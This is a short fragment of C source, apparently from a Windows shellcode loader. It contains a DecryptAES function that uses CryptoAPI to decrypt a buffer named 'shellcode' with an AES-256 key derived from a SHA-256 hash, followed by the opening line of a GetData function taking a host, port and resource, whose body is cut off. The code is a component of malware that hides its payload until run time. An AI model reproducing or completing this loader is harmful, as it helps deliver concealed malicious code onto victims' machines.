| 59 | |
| 60 | |
| 61 | void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) { |
| 62 | HCRYPTPROV hProv; |
| 63 | HCRYPTHASH hHash; |
| 64 | HCRYPTKEY hKey; |
| 65 | |
| 66 | if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { |
| 67 | printf("Failed in CryptAcquireContextW (%u)\n", GetLastError()); |
| 68 | return; |
| 69 | } |
| 70 | if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { |
| 71 | printf("Failed in CryptCreateHash (%u)\n", GetLastError()); |
| 72 | return; |
| 73 | } |
| 74 | if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) { |
| 75 | printf("Failed in CryptHashData (%u)\n", GetLastError()); |
| 76 | return; |
| 77 | } |
| 78 | if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) { |
| 79 | printf("Failed in CryptDeriveKey (%u)\n", GetLastError()); |
| 80 | return; |
| 81 | } |
| 82 | |
| 83 | if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) { |
| 84 | printf("Failed in CryptDecrypt (%u)\n", GetLastError()); |
| 85 | return; |
| 86 | } |
| 87 | |
| 88 | CryptReleaseContext(hProv, 0); |
| 89 | CryptDestroyHash(hHash); |
| 90 | CryptDestroyKey(hKey); |
| 91 | |
| 92 | } |
| 93 | |
| 94 | |
| 95 | DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) { |